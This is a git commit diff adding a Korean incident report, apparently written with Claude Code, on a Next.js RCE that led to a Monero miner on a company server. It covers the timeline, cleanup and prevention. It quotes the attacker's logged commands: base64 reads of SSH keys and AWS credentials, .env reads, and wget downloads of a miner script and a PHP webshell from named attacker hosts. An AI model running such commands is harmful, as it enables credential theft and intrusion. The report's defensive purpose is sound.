fix: Remove car_id property from adminAddVehicle call to fix TypeScript error

This commit is contained in:
AutonetSellCar Deploy
2026-02-01 21:16:03 +09:00
parent 5881126408
commit b340d338ff
31 changed files with 7071 additions and 1 deletions

205
SECURITY_INCIDENT_REPORT.md Normal file
View File

@@ -0,0 +1,205 @@
# Server3 보안 사고 조사 보고서
**작성일**: 2026-01-02
**작성자**: Claude Code
**대상 서버**: Server3 (192.168.0.203)
---
## 1. 사고 개요
### 1.1 발견된 공격
Server3에서 암호화폐 채굴 악성코드(XMRig)가 발견됨.
### 1.2 침해 원인
| 항목 | 내용 |
|------|------|
| **취약 소프트웨어** | Next.js 16.0.5 (grantech-frontend) |
| **취약점** | React Flight Protocol RCE |
| **CVE** | GHSA-9qr9-h5gf-34mp |
| **심각도** | Critical |
### 1.3 공격 방식
```
해커가 Next.js App Router로 악성 직렬화 데이터 전송
React Flight Protocol이 데이터 역직렬화 (검증 부족)
서버에서 임의 코드 실행 (RCE)
wget으로 채굴기 다운로드 및 설치
```
---
## 2. 공격 타임라인
| 날짜 | 이벤트 |
|------|--------|
| 2025-12-10 | 최초 공격 시도 (웹쉘 업로드 시도) |
| 2025-12-23 | XMRig 채굴기 설치 |
| 2025-12-31 | 채굴기 재설치 시도 |
| 2026-01-02 | 침해 발견 및 조치 완료 |
---
## 3. 해커가 실행한 명령어
PM2 로그에서 발견된 공격 명령어:
| 공격 유형 | 명령어 | 목적 |
|-----------|--------|------|
| SSH 키 탈취 | `cat ~/.ssh/id_rsa \| base64` | 다른 서버 침투용 |
| AWS 자격증명 탈취 | `cat ~/.aws/credentials \| base64` | 클라우드 리소스 접근 |
| 환경변수 탈취 | `cat .env`, `cat ../.env` 등 | API 키, 비밀키 탈취 |
| 채굴기 설치 | `wget https://72.62.72.248/.../immunify360firewall3.sh` | 암호화폐 채굴 |
| 웹쉘 업로드 | `wget -O public_html/Nx.php https://www.cmer.site/uploads/Nx.php` | 백도어 설치 (실패) |
---
## 4. 발견된 악성 파일
### 4.1 채굴기 파일 (/dev/shm/.cache/)
| 파일명 | 크기 | 설명 |
|--------|------|------|
| xmrig | 8MB | XMRig 채굴기 바이너리 |
| kworker-xfs | 8MB | 커널 프로세스로 위장한 채굴기 |
| config.json | 1KB | 채굴 풀 설정 (moneroocean.stream) |
| miner | 18KB | 채굴기 실행 스크립트 |
### 4.2 추가 악성 파일
| 경로 | 설명 |
|------|------|
| /dev/shm/.x/m | 7MB 채굴기 바이너리 |
| /tmp/immunify360firewall.sh | 채굴기 설치 스크립트 |
| ~/immunify360firewall/ | 채굴기 설치 폴더 (삭제됨) |
---
## 5. 조치 내역
### 5.1 즉시 조치 (2026-01-02)
| 순서 | 조치 | 상태 |
|------|------|------|
| 1 | grantech-frontend PM2 중지 | ✅ 완료 |
| 2 | 채굴기 프로세스 종료 | ✅ 완료 |
| 3 | SSH 백도어 키 삭제 | ✅ 완료 |
| 4 | systemd user 서비스 삭제 | ✅ 완료 |
| 5 | ~/immunify360firewall/ 폴더 삭제 | ✅ 완료 |
### 5.2 취약점 패치
| 조치 | 내용 |
|------|------|
| Next.js 업데이트 | 16.0.5 → **16.1.1** |
| npm audit 결과 | 0 vulnerabilities |
| 애플리케이션 재빌드 | ✅ 완료 |
### 5.3 인증정보 교체
| 항목 | 조치 |
|------|------|
| SSH 키 (Server4) | 재생성 (`damon@autonet``damon@server4`) |
| Server1 authorized_keys | 새 키 등록, 구 키 제거 |
| Server2 authorized_keys | 새 키 등록, 구 키 제거 |
| Server3 authorized_keys | 새 키 등록, 구 키 제거 |
| Backend SECRET_KEY | 재생성 완료 |
### 5.4 잔존 파일 정리 (재점검 시)
| 경로 | 조치 |
|------|------|
| /dev/shm/.cache/ | 전체 삭제 |
| /dev/shm/.x/ | 전체 삭제 |
| /tmp/miner.log | 삭제 |
| /tmp/xmrig.log | 삭제 |
| /tmp/immunify360firewall.sh | 삭제 |
---
## 6. 영향 범위 분석
### 6.1 서버별 영향
| 서버 | IP | 영향 | 비고 |
|------|-----|------|------|
| Server1 | 192.168.0.201 | ✅ 없음 | Next.js 미사용 |
| Server2 | 192.168.0.202 | ✅ 없음 | Next.js 14.1.0 (취약 범위 외) |
| Server3 | 192.168.0.203 | 🔴 침해됨 | Next.js 16.0.5 → 패치 완료 |
| Server4 | 개발서버 | ✅ 없음 | Windows, SSH 키 재생성 |
### 6.2 취약 버전 범위
```
Next.js 14.3.0-canary.77 ~ 16.0.6 (취약)
Next.js 14.1.0 (Server2) - 안전
Next.js 16.1.1+ (Server3 패치 후) - 안전
```
---
## 7. 공격자 인프라
| 도메인/IP | 용도 |
|-----------|------|
| 72.62.72.248 | 채굴기 스크립트 배포 서버 |
| www.cmer.site | 웹쉘 배포 서버 |
| 0x0.st | 파일 공유 (악성코드 호스팅) |
| moneroocean.stream | Monero 채굴 풀 |
---
## 8. 재발 방지 대책
### 8.1 구현 완료
| 대책 | 파일 |
|------|------|
| npm audit 스크립트 | `scripts/security-audit.sh` |
| Git pre-push hook | `scripts/git-hooks/pre-push` |
| 주간 보안 점검 | `scripts/weekly-security-check.sh` |
| package.json audit 명령 | `npm run audit`, `npm run audit:fix` |
### 8.2 권장 사항
1. **패키지 자동 업데이트**
- GitHub 사용 시 Dependabot 활성화
- 또는 Renovate Bot 설정
2. **정기 보안 점검**
```bash
# 주간 cron 설정 (Server2)
0 9 * * 1 /opt/autonet/scripts/weekly-security-check.sh
```
3. **네트워크 보안**
- 외부 노출 포트 최소화
- 방화벽 규칙 강화
4. **모니터링**
- CPU 사용량 이상 알림 설정
- 의심스러운 프로세스 모니터링
---
## 9. 교훈
1. **프레임워크 취약점 주의**: Node.js 자체가 아닌 Next.js 프레임워크의 취약점이 원인
2. **정기 업데이트 필수**: `npm audit`를 정기적으로 실행
3. **다중 서버 점검**: 한 서버 침해 시 연결된 모든 서버 점검 필요
4. **인증정보 교체**: 침해 후 모든 키/비밀번호 교체 필수
---
## 10. 최종 상태
| 항목 | 상태 |
|------|------|
| 채굴기 제거 | ✅ 완료 |
| 취약점 패치 | ✅ 완료 |
| SSH 키 교체 | ✅ 완료 |
| SECRET_KEY 교체 | ✅ 완료 |
| 서비스 정상화 | ✅ 완료 |
| 보안 자동화 | ✅ 설정 완료 |
**결론**: Server3 보안 사고는 완전히 조치되었으며, 재발 방지를 위한 자동화 시스템이 구축되었습니다.